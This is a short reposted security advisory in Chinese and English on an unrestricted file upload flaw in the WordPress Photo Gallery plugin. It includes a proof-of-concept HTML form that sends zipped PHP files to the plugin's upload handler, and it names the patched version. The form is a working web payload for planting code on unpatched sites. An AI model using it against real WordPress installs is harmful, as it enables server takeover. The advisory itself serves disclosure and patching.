worpress Photo Gallery 上传漏洞

admin 2016年8月22日09:26:15漏洞分享评论2,230 次浏览阅读模式
1. Description
   
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php
 
   
2. Proof of Concept
 
Login as regular user (created using wp-login.php?action=register).
 
Pack .php files into .zip archive then send it using:
 
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
    <input type="file" name="files">
    <input type="submit" value="Hack!">
</form>
 
Your files will be visible inside:
 
   
3. Solution:
   
Update to version 1.2.6

前提先注册用户~~~~~~~~

参考:

http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2016年8月22日09:26:15
  • 转载请务必保留本文链接:https://anyun.org/a/jishuguanzhu/wangluoanquan/loudongfenxiang/2016/0822/5988.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: